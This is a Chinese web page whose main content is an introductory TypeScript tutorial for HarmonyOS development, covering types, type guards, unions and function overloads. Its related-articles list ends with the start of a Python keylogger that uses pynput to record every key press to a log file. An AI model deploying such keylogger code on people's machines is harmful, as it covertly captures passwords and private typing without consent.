1. HarmonyOS 应用开发 TS 准备-1

1. HarmonyOS 应用开发 TS 准备-1

一、TypeScript 是什么

TypeScript 是一种由微软开发的自由和开源的编程语言。
它是 JavaScript 的一个超集,而且本质上向这个语言添加了可选的静态类型和基于类的面向对象编程。

TypeScript 提供最新的和不断发展的 JavaScript 特性,包括那些来自 2015 年的 ECMAScript 和未来的提案中的特性,比如异步功能和 Decorators,以帮助建立健壮的组件。

1.1 TypeScript 与 JavaScript 的区别

TypeScriptJavaScript
JavaScript 的超集用于解决大型项目的代码复杂性一种脚本语言,用于创建动态网页
可以在编译期间发现并纠正错误作为一种解释型语言,只能在运行时发现错误
强类型,支持静态和动态类型弱类型,没有静态类型选项
最终被编译成 JavaScript 代码,使浏览器可以理解可以直接在浏览器中使用
支持模块、泛型和接口不支持模块,泛型或接口
支持 ES3,ES4,ES5 和 ES6 等不支持编译其他 ES3,ES4,ES5 或 ES6 功能
社区的支持仍在增长,而且还不是很大大量的社区支持以及大量文档和解决问题的支持

1.2 获取 TypeScript

命令行的 TypeScript 编译器可以使用 Node.js 包来安装。

1.安装 TypeScript
$ npm install -g typescript
2.编译 TypeScript 文件
$ tsc helloworld.ts
# helloworld.ts => helloworld.js

二、TypeScript 基础类型

2.1 Boolean 类型

let isDone: boolean = false;
// ES5:var isDone = false;

2.2 Number 类型

let count: number = 10;
// ES5:var count = 10;

String 类型

let name: string = "Semliker";
// ES5:var name = 'Semlinker';

2.4 Array 类型

let list: number[] = [1, 2, 3];
// ES5:var list = [1,2,3];
let list: Array<number> = [1, 2, 3]; // Array<number>泛型语法
// ES5:var list = [1,2,3];

2.5 Enum 类型

使用枚举我们可以定义一些带名字的常量。
使用枚举可以清晰地表达意图或创建一组有区别的用例。TypeScript 支持数字的和基于字符串的枚举。

1.数字枚举
enum Direction {NORTH,SOUTH,EAST,WEST,
}let dir: Direction = Direction.NORTH;

默认情况下,NORTH 的初始值为 0,其余的成员会从 1 开始自动增长。
换句话说,Direction.SOUTH 的值为 1Direction.EAST 的值为 2Direction.WEST 的值为 3
上面的枚举示例代码经过编译后会生成以下代码:

"use strict";
var Direction;
(function (Direction) {Direction[(Direction["NORTH"] = 0)] = "NORTH";Direction[(Direction["SOUTH"] = 1)] = "SOUTH";Direction[(Direction["EAST"] = 2)] = "EAST";Direction[(Direction["WEST"] = 3)] = "WEST";
})(Direction || (Direction = {}));
var dir = Direction.NORTH;

当然我们也可以设置 NORTH 的初始值,比如:

enum Direction {NORTH = 3,SOUTH,EAST,WEST,
}
2.字符串枚举

TypeScript 2.4 版本,允许我们使用字符串枚举。
在一个字符串枚举里,每个成员都必须用字符串字面量,或另外一个字符串枚举成员进行初始化。

enum Direction {NORTH = "NORTH",SOUTH = "SOUTH",EAST = "EAST",WEST = "WEST",
}
3.异构枚举

异构枚举的成员值是数字和字符串的混合:

enum Enum {A,B,C = "C",D = "D",E = 8,F,
}

2.6 Any 类型

TypeScript 中,任何类型都可以被归为 any 类型。这让 any 类型成为了类型系统的顶级类型 (也被称作全局超级类型) 。

let notSure: any = 666;
notSure = "Semlinker";
notSure = false;

any 类型本质上是类型系统的一个逃逸舱。
作为开发者,这给了我们很大的自由:TypeScript 允许我们对 any 类型的值执行任何操作,而无需事先执行任何形式的检查。
比如:

let value: any;value.foo.bar; // OK
value.trim(); // OK
value(); // OK
new value(); // OK
value[0][1]; // OK

在许多场景下,这太宽松了。
使用 any 类型,可以很容易地编写类型正确但在运行时有问题的代码。
如果我们使用 any 类型,就无法使用 TypeScript 提供的大量的保护机制。
为了解决 any 带来的问题,TypeScript 3.0 引入了 unknown 类型。

2.7 Unknown 类型

就像所有类型都可以赋值给 any,所有类型也都可以赋值给 unknown
这使得 unknown 成为 TypeScript 类型系统的另一种顶级类型。
下面我们来看一下 unknown 类型的使用示例:

let value: unknown;value = true; // OK
value = 42; // OK
value = "Hello World"; // OK
value = []; // OK
value = {}; // OK
value = Math.random; // OK
value = null; // OK
value = undefined; // OK
value = new TypeError(); // OK
value = Symbol("type"); // OK

value 变量的所有赋值都被认为是类型正确的。
但是,当我们尝试将类型为 unknown 的值赋值给其他类型的变量时会发生什么?

let value: unknown;let value1: unknown = value; // OK
let value2: any = value; // OK
let value3: boolean = value; // Error
let value4: number = value; // Error
let value5: string = value; // Error
let value6: object = value; // Error
let value7: any[] = value; // Error
let value8: Function = value; // Error

unknown 类型只能被赋值给 any 类型和 unknown 类型本身。
直观地说,这是有道理的:只有能够保存任意类型值的容器才能保存 unknown 类型的值。
毕竟我们不知道变量 value 中存储了什么类型的值。

现在让我们看看当我们尝试对类型为 unknown 的值执行操作时会发生什么。
以下是我们在之前 any 章节看过的相同操作:

let value: unknown;value.foo.bar; // Error
value.trim(); // Error
value(); // Error
new value(); // Error
value[0][1]; // Error

value 变量类型设置为 unknown 后,这些操作都不再被认为是类型正确的。
通过将 any 类型改变为 unknown 类型,我们已将允许所有更改的默认设置,更改为禁止任何更改。

2.8 Tuple 类型

众所周知,数组一般由同种类型的值组成,但有时我们需要在单个变量中存储不同类型的值,这时候我们就可以使用元组。
JavaScript 中是没有元组的,元组是 TypeScript 中特有的类型,其工作方式类似于数组。

元组可用于定义具有有限数量的未命名属性的类型。
每个属性都有一个关联的类型。
使用元组时,必须提供每个属性的值。
为了更直观地理解元组的概念,我们来看一个具体的例子:

let tupleType: [string, boolean];
tupleType = ["Semlinker", true];

在上面代码中,我们定义了一个名为 tupleType 的变量,它的类型是一个类型数组 [string, boolean],然后我们按照正确的类型依次初始化 tupleType 变量。
与数组一样,我们可以通过下标来访问元组中的元素:

console.log(tupleType[0]); // Semlinker
console.log(tupleType[1]); // true

在元组初始化的时候,如果出现类型不匹配的话,比如:

tupleType = [true, "Semlinker"];

此时,TypeScript 编译器会提示以下错误信息:

[0]: Type 'true' is not assignable to type 'string'.
[1]: Type 'string' is not assignable to type 'boolean'.

很明显是因为类型不匹配导致的。
在元组初始化的时候,我们还必须提供每个属性的值,不然也会出现错误,比如:

tupleType = ["Semlinker"];

此时,TypeScript 编译器会提示以下错误信息:

Property '1' is missing in type '[string]' but required in type '[string, boolean]'.

2.9 Void 类型

某种程度上来说,void 类型像是与 any 类型相反,它表示没有任何类型。
当一个函数没有返回值时,你通常会见到其返回值类型是 void

// 声明函数返回值为void
function warnUser(): void {console.log("This is my warning message");
}

以上代码编译生成的 ES5 代码如下:

"use strict";function warnUser() {console.log("This is my warning message");
}

需要注意的是,声明一个 void 类型的变量没有什么作用,因为它的值只能为 undefinednull

let unusable: void = undefined;

2.10 Null 和 Undefined 类型

TypeScript 里,undefinednull 两者有各自的类型分别为 undefinednull

let u: undefined = undefined;
let n: null = null;

默认情况下 nullundefined 是所有类型的子类型。
就是说你可以把 nullundefined 赋值给 number 类型的变量。
然而,如果你指定了--strictNullChecks 标记,nullundefined 只能赋值给 void 和它们各自的类型。

2.11 Never 类型

never 类型表示的是那些永不存在的值的类型。
例如,never 类型是那些总是会抛出异常或根本就不会有返回值的函数表达式或箭头函数表达式的返回值类型。

// 返回never的函数必须存在无法达到的终点
function error(message: string): never {throw new Error(message);
}function infiniteLoop(): never {while (true) {}
}

TypeScript 中,可以利用 never 类型的特性来实现全面性检查,具体示例如下:

type Foo = string | number;function controlFlowAnalysisWithNever(foo: Foo) {if (typeof foo === "string") {
// 这里 foo 被收窄为 string 类型} else if (typeof foo === "number") {
// 这里 foo 被收窄为 number 类型} else {
// foo 在这里是 neverconst check: never = foo;}
}

三、TypeScript 断言

有时候你会遇到这样的情况,你会比 TypeScript 更了解某个值的详细信息。
通常这会发生在你清楚地知道一个实体具有比它现有类型更确切的类型。

通过类型断言这种方式可以告诉编译器,“相信我,我知道自己在干什么”。
类型断言好比其他语言里的类型转换,但是不进行特殊的数据检查和解构。
它没有运行时的影响,只是在编译阶段起作用。

类型断言有两种形式:

3.1 “尖括号” 语法

let someValue: any = "this is a string";
let strLength: number = (<string>someValue).length;

3.2 as 语法

let someValue: any = "this is a string";
let strLength: number = (someValue as string).length;

四、类型守卫

类型保护是可执行运行时检查的一种表达式,用于确保该类型在一定的范围内。
换句话说,类型保护可以保证一个字符串是一个字符串,尽管它的值也可以是一个数值。
类型保护与特性检测并不是完全不同,其主要思想是尝试检测属性、方法或原型,以确定如何处理值。
目前主要有四种的方式来实现类型保护:

4.1 in 关键字

interface Admin {name: string;privileges: string[];
}interface Employee {name: string;startDate: Date;
}type UnknownEmployee = Employee | Admin;function printEmployeeInformation(emp: UnknownEmployee) {console.log("Name: " + emp.name);if ("privileges" in emp) {console.log("Privileges: " + emp.privileges);}if ("startDate" in emp) {console.log("Start Date: " + emp.startDate);}
}

4.2 typeof 关键字

function padLeft(value: string, padding: string | number) {if (typeof padding === "number") {return Array(padding + 1).join(" ") + value;}if (typeof padding === "string") {return padding + value;}throw new Error(`Expected string or number, got '${padding}'.`);
}

typeof 类型保护只支持两种形式:typeof v === "typename"typeof v !== "typename"typename
必须是 numberstring booleansymbol
但是 TypeScript 并不会阻止你与其它字符串比较,语言不会把那些表达式识别为类型保护。

4.3 instanceof 关键字

interface Padder {getPaddingString(): string;
}class SpaceRepeatingPadder implements Padder {constructor(private numSpaces: number) {}getPaddingString() {return Array(this.numSpaces + 1).join(" ");}
}class StringPadder implements Padder {constructor(private value: string) {}getPaddingString() {return this.value;}
}let padder: Padder = new SpaceRepeatingPadder(6);if (padder instanceof SpaceRepeatingPadder) {
// padder的类型收窄为 'SpaceRepeatingPadder'
}

4.4 自定义类型保护的类型谓词

function isNumber(x: any): x is number {return typeof x === "number";
}function isString(x: any): x is string {return typeof x === "string";
}

五、联合类型和类型别名

5.1 联合类型

联合类型通常与 nullundefined 一起使用:

const sayHello = (name: string | undefined) => {/* ... */
};

例如,这里 name 的类型是 string | undefined 意味着可以将 stringundefined 的值传递给 sayHello 函数。

sayHello("Semlinker");
sayHello(undefined);

通过这个示例,你可以凭直觉知道类型 A 和类型 B 联合后的类型是同时接受 AB 值的类型。

5.2 可辨识联合

TypeScript 可辨识联合 (Discriminated Unions) 类型,也称为代数数据类型或标签联合类型。
它包含 3 个要点:可辨识、联合类型和类型守卫。

这种类型的本质是结合联合类型和字面量类型的一种类型保护方法。
如果一个类型是多个类型的联合类型,且多个类型含有一个公共属性,那么就可以利用这个公共属性,来创建不同的类型保护区块。

1.可辨识

可辨识要求联合类型中的每个元素都含有一个单例类型属性,比如:

enum CarTransmission {Automatic = 200,Manual = 300
}interface Motorcycle {vType: "motorcycle"; // discriminantmake: number; // year
}interface Car {vType: "car"; // discriminanttransmission: CarTransmission
}interface Truck {vType: "truck"; // discriminantcapacity: number; // in tons
}

在上述代码中,我们分别定义了 MotorcycleCarTruck 三个接口,在这些接口中都包含一个 vType
属性,该属性被称为可辨识的属性,而其它的属性只跟特性的接口相关。

2.联合类型

基于前面定义了三个接口,我们可以创建一个 Vehicle 联合类型:

type Vehicle = Motorcycle | Car | Truck;

现在我们就可以开始使用 Vehicle 联合类型,对于 Vehicle 类型的变量,它可以表示不同类型的车辆。

3.类型守卫

下面我们来定义一个 evaluatePrice 方法,该方法用于根据车辆的类型、容量和评估因子来计算价格,具体实现如下:

const EVALUATION_FACTOR = Math.PI;function evaluatePrice(vehicle: Vehicle) {return vehicle.capacity * EVALUATION_FACTOR;
}const myTruck: Truck = {vType: "truck", capacity: 9.5};
evaluatePrice(myTruck);

对于以上代码,TypeScript 编译器将会提示以下错误信息:

Property 'capacity' does not exist on type 'Vehicle'.
Property 'capacity' does not exist on type 'Motorcycle'.

原因是在 Motorcycle 接口中,并不存在 capacity 属性,而对于 Car 接口来说,它也不存在 capacity 属性。
那么,现在我们应该如何解决以上问题呢?这时,我们可以使用类型守卫。
下面我们来重构一下前面定义的 evaluatePrice 方法,重构后的代码如下:

function evaluatePrice(vehicle: Vehicle) {switch (vehicle.vType) {case "car":return vehicle.transmission * EVALUATION_FACTOR;case "truck":return vehicle.capacity * EVALUATION_FACTOR;case "motorcycle":return vehicle.make * EVALUATION_FACTOR;}
}

在以上代码中,我们使用 switchcase 运算符来实现类型守卫,从而确保在 evaluatePrice
方法中,我们可以安全地访问 vehicle
对象中的所包含的属性,来正确的计算该车辆类型所对应的价格。

5.3 类型别名

类型别名用来给一个类型起个新名字。

type Message = string | string[];let greet = (message: Message) => {
// ...
};

六、交叉类型

TypeScript 交叉类型是将多个类型合并为一个类型。
这让我们可以把现有的多种类型叠加到一起成为一种类型,它包含了所需的所有类型的特性。

interface IPerson {id: string;age: number;
}interface IWorker {companyId: string;
}type IStaff = IPerson & IWorker;const staff: IStaff = {id: 'E1006',age: 33,companyId: 'EFT'
};console.dir(staff)

在上面示例中,我们首先为 IPersonIWorker 类型定义了不同的成员,然后通过 & 运算符定义了 IStaff 交叉类型,所以该类型同时拥有
IPersonIWorker 这两种类型的成员。

七、TypeScript 函数

7.1 TypeScript 函数与 JavaScript 函数的区别

TypeScriptJavaScript
含有类型无类型
箭头函数箭头函数 (ES2015)
函数类型无函数类型
必填和可选参数所有参数都是可选的
默认参数默认参数
剩余参数剩余参数
函数重载无函数重载

7.2 箭头函数

1.常见语法
myBooks.forEach(() => console.log('reading'));myBooks.forEach(title => console.log(title));myBooks.forEach((title, idx, arr) => console.log(idx + '-' + title));myBooks.forEach((title, idx, arr) => {console.log(idx + '-' + title);
});
2.使用示例
// 未使用箭头函数
function Book() {let self = this;self.publishDate = 2016;setInterval(function () {console.log(self.publishDate);}, 1000);
}
// 使用箭头函数
function Book() {this.publishDate = 2016;setInterval(() => {console.log(this.publishDate);}, 1000);
}

7.3 参数类型和返回类型

function createUserId(name: string, id: number): string {return name + id;
}

7.4 函数类型

let IdGenerator: (chars: string, nums: number) => string;function createUserId(name: string, id: number): string {return name + id;
}IdGenerator = createUserId;

7.5 可选参数及默认参数

// 可选参数
function createUserId(id: number, name: string, age?: number): string {return name + id;
}
// 默认参数
function createUserId(id: number,name: string = "Semlinker",age?: number,
): string {return name + id;
}

7.6 剩余参数

function push(array, ...items) {items.forEach(function (item) {array.push(item);});
}let a = [];
push(a, 1, 2, 3);

7.7 函数重载

函数重载或方法重载是使用相同名称和不同参数数量或类型创建多个方法的一种能力。
要解决前面遇到的问题,方法就是为同一个函数提供多个函数类型定义来进行函数重载,编译器会根据这个列表去处理函数的调用。

function add(a: number, b: number): number;
function add(a: string, b: string): string;
function add(a: string, b: number): string;
function add(a: number, b: string): string;
function add(a: Combinable, b: Combinable) {if (typeof a === "string" || typeof b === "string") {return a.toString() + b.toString();}return a + b;
}

在以上代码中,我们为 add 函数提供了多个函数类型定义,从而实现函数的重载。
之后,可恶的错误消息又消失了,因为这时 result 变量的类型是 string 类型。
TypeScript 中除了可以重载普通函数之外,我们还可以重载类中的成员方法。

方法重载是指在同一个类中方法同名,参数不同 (参数类型不同、参数个数不同或参数个数相同时参数的先后顺序不同),调用时根据实参的形式,选择与它匹配的方法执行操作的一种技术。
所以类中成员方法满足重载的条件是:在同一个类中,方法名相同且参数列表不同。
下面我们来举一个成员方法重载的例子:

class Calculator {add(a: number, b: number): number;add(a: string, b: string): string;add(a: string, b: number): string;add(a: number, b: string): string;add(a: Combinable, b: Combinable) {if (typeof a === "string" || typeof b === "string") {return a.toString() + b.toString();}return a + b;}
}const calculator = new Calculator();
const result = calculator.add("Semlinker", " Kakuqo");

这里需要注意的是,当 TypeScript 编译器处理函数重载时,它会查找重载列表,尝试使用第一个重载定义。
如果匹配的话就使用这个。
因此,在定义重载的时候,一定要把最精确的定义放在最前面。
另外在 Calculator 类中,add(a: Combinable, b: Combinable){ }并不是重载列表的一部分,因此对于 add 成员方法来说,我们只定义了四个重载方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/655765.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

美易官方《盘前:道指期货跌0.04% 风险周降临》

盘前&#xff1a;道指期货跌0.04% 风险周降临 随着市场的波动&#xff0c;道指期货在盘前微幅下跌0.04%&#xff0c;投资者们正在迎接一个重要的风险周。这个风险周可能会对市场产生重大影响&#xff0c;因此投资者们需要密切关注。美股股指期货周一盘前涨跌互现&#xff0c;本…

如何在群晖NAS部署office服务实现多人远程协同办公编辑文档

文章目录 本教程解决的问题是&#xff1a;1. 本地环境配置2. 制作本地分享链接3. 制作公网访问链接4. 公网ip地址访问您的分享相册5. 制作固定公网访问链接 本教程解决的问题是&#xff1a; 1.Word&#xff0c;PPT&#xff0c;Excel等重要文件存在本地环境&#xff0c;如何在编…

35.【TypeScript 教程】编译选项

TypeScript 编译选项 TypeScript 提供了很多不同功能的编译选项&#xff0c;既可以通过配置 tsconfig.json 文件中的 compilerOptions 属性来实现编译&#xff0c;也可以使用在 tsc 命令后跟随参数这形式&#xff0c;直接编译 .ts 文件。 注意&#xff1a; 当命令行上指定了输…

Web3技术革新:重新定义在线体验

互联网的不断演进塑造了我们的数字生活&#xff0c;而Web3技术的涌现正带来一场前所未有的变革。本文将深入探讨Web3技术的创新&#xff0c;以及它如何重新定义和提升我们的在线体验。 Web3技术的基本概念 Web3是互联网的第三个时代&#xff0c;它将去中心化、区块链、智能合约…

解决import Jetson.GPIO报错“权限错误”

在导入Jetson.GPIO模块时出现权限错误&#xff0c;可能是由于缺少适当的权限或设备权限问题。以下是一些建议&#xff1a; 使用sudo&#xff1a; 尝试使用sudo来运行你的Python脚本或解释器&#xff0c;以获取足够的权限&#xff1a; sudo python your_script.py请注意&#xf…

(一)PySpark3:安装教程及RDD编程(非常详细)

目录 一、pyspark介绍 二、PySpark安装 三、RDD编程 1、创建RDD 2、常用Action操作 ①collect ②take ③takeSample ④first ⑤count ⑥reduce ⑦foreach ⑧countByKey ⑨saveAsTextFile 3、常用Transformation操作 ①map ②filter ③flatMap ④sample ⑤d…

【Linux】—— 信号的产生

本期&#xff0c;我们今天要将的是信号的第二个知识&#xff0c;即信号的产生。 目录 &#xff08;一&#xff09;通过终端按键产生信号 &#xff08;二&#xff09;调用系统函数向进程发信号 &#xff08;三&#xff09;由软件条件产生信号 &#xff08;四&#xff09;硬件…

会计分录的概念和应用

目录 一. 会计分录的概念二. 会计分录的分类三. 会计分录的应用 \quad 一. 会计分录的概念 \quad 会计分录是指对每笔经济业务列示其应借记和应贷记账户及其金额的一种记录。 会计分录的基本要素 ( 1 )账户及其所属明细账户名称(或会计科目及其所属明细科目名称) (2 )记账方向…

Linux系统——正则表达式

有一段时间本机访问量过高&#xff0c;如何查看日志提取出访问量前十的信息 1.使用提取命令&#xff08;cut、awk、sed&#xff09;提取出ip地址的那一列 2.使用sort按数字排序&#xff0c;将相同的地址整合到一起 3.使用uniq -c统计出数量 4.使用sort 数字 数字倒序排序 5.最…

nginx的编译安装

nginx 的编译安装 1. 准备 下载地址&#xff1a;https://nginx.org/en/download.html linux服务器环境 2. 安装 2.1 解压并进入源码目录 tar -zxvf nginx-1.24.0.tar.gz cd nginx-1.24.0.tar.gz 2.2 安装 nginx编译时所需的依赖库 yum -y install gcc pcre pcre-devel zli…

MySQL二月进阶学习计划

CSDN的各位读者&#xff0c;大家好。马上过年了&#xff0c;最近工作不是很忙&#xff0c;所以有很多时间用来学习。 过去的一周我也学习了一部分内容&#xff0c;但是像无头苍蝇一样没有规划。 我计划用整个2月的时间&#xff0c;再好好学习一遍MySQL数据库相关的知识。下面是…

【大数据】Flink SQL 语法篇(一):CREATE

Flink SQL 语法篇&#xff08;一&#xff09; 1.建表语句2.表中的列2.1 常规列&#xff08;物理列&#xff09;2.2 元数据列2.3 计算列 3.定义 Watermark4.Create Table With 子句5.Create Table Like 子句 CREATE 语句用于向当前或指定的 Catalog 中注册库、表、视图或函数。注…

Vue使用百度地图实现聚合的效果(vue-baidu-map)

Vue使用百度地图实现聚合的效果(vue-baidu-map) 安装插件&#xff1a;yarn add vue-baidu-map在main.js中全局引入密钥&#xff08;在百度开发者中心注册&#xff09;&#xff1a;import BaiduMap from vue-baidu-map Vue.use(BaiduMap, {ak: your_app_key // 百度地图秘钥 })…

PySimpleGUI界面读取PDF转换Excel

PySimpleGUI 是一个用于创建图形用户界面的 Python 库&#xff0c;而 PDF 文件和 Excel 文件是两种不同的数据格式。要将 PDF 文件转换为 Excel 文件&#xff0c;你需要使用额外的库&#xff0c;如 pdf2excel。 下面是一个示例流程&#xff0c;展示了如何使用 PySimpleGUI 创建…

Compose | UI组件(十一) | Spacer - 留白

文章目录 前言Spacer组件的参数说明Spacer组件的使用 总结 前言 Spacer组件是让两组件之间留有空白间隔 Spacer组件的参数说明 Spacer只有一个修饰符&#xff0c;修饰留空白的大小和比例&#xff0c;颜色 Spacer(modifier: Modifier)Spacer组件的使用 Row {Box(modifier M…

Ruby安装演示教程

当涉及到 Ruby 的安装过程时&#xff0c;一种常见的方法是通过 RVM&#xff08;Ruby Version Manager&#xff09;来进行安装和管理。以下是在 Linux 系统上使用 RVM 安装 Ruby 的步骤演示教程&#xff1a; 1、安装 RVM&#xff1a; # 在终端中执行以下命令来下载并安装 RVM…

【React教程】(2) React之JSX入门与列表渲染、条件渲染详细代码示例

目录 JSX环境配置基本语法规则在 JSX 中嵌入 JavaScript 表达式在 JavaScript 表达式中嵌入 JSXJSX 中的节点属性声明子节点JSX 自动阻止注入攻击在 JSX 中使用注释JSX 原理列表循环DOM Elements 列表渲染语法高亮 条件渲染示例1&#xff1a;示例2&#xff1a;示例3&#xff08…

Learn to Earn,Move星航计划第三期诚邀您探索编程和区块链的乐趣

*以下文章来源于MoveFuns &#xff0c;作者MoveFuns DAO 星航计划是一个 Web3 技术的公益计划,旨在引导更多的人加入开源社区,学习Move语言&#xff0c;了解Web3。本期星航计划由 MoveFuns Dao 发起&#xff0c;由Sui官方基金会支持&#xff0c;汇集了 Web3开发领域内的专业导…

FullStack之Django(1)开发环境配置

FullStack之Django(1)开发环境配置 author: Once Day date&#xff1a;2022年2月11日/2024年1月27日 漫漫长路&#xff0c;才刚刚开始… 全系列文档请查看专栏: FullStack开发_Once_day的博客-CSDN博客Django开发_Once_day的博客-CSDN博客 具体参考文档: The web framewor…

键盘记录器Python代码

键盘记录器完整代码 from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename("keylog.txt"), levellogging.DEBUG, format" %(asctime)s - %(message)s") def on_press(key):logging.info(str(key)) with Listener(on_p…